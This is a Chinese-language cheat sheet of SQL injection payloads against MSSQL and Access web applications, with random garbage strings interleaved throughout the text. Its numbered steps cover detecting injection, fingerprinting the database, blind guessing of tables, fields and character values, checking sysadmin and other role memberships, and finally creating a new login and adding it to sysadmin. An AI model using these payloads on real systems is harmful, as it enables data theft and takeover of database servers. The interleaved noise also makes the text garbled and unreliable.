1.判断是否有注入;and 1=1 ;and 1=2 N@G~+GCxL
2.初步判断是否是mssql ;and user>0 L|N[.V9
q$BS@
3.注入参数是字符'and [查询条件] and ''=' ^U[yk'!Y
~fR-cXj"
4.搜索时没过滤参数的'and [查询条件] and '%25'=' UhVJ! NrT
Xw |6
#^
5.判断数据库系统 *J|]E(
aYd`E4S+
;and (select count(*) from sysobjects)>0 mssql qF57T>v|
3~6,fTMz{
;and (select count(*) from msysobjects)>0 access N,~"8YSo
?2i\ERG?
j#[%-nOT
z((9vi W
6.猜数据库 ;and (select Count(*) from [数据库名])>0 5BsfbLKC
T f;:C]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3}25=%;[
sTChbks
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 +#MQ8d
yi@mf$A|
9.(1)猜字段的ascii值(access) Kb,#Ot
G0&'B6I>
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Zq\Vq:MX
&=`6- J
(2)猜字段的ascii值(mssql) z)0%gd|
$mLiEsJ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 I^itlQ
BOf)27)
10.测试权限结构(mssql) IM$I=5ye
fOkB|E]
+ 3%i7
)*T<s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- d6ABgQi0
Jl|^
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2E_*'RT
fgE Mn;
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;/|3U7{c
`R{ ZED
l'
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7$jO3J
):pFI/iC
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Z g~6
#;~dA
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- &RbT&
|?Bb{Es
;and 1=(select IS_MEMBER('db_owner'));-- aT`. e
2#g4R
8jz[;.jP",
F}dq~QCzw
11.添加mssql和系统的帐户 7UA|G2Zr
j3yz"-53e
;exec master.dbo.sp_addlogin username;-- QB|D_?]
;exec master.dbo.sp_password null,username,password;-- rN5;W
JwMFu5 @
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- >$dkA\&p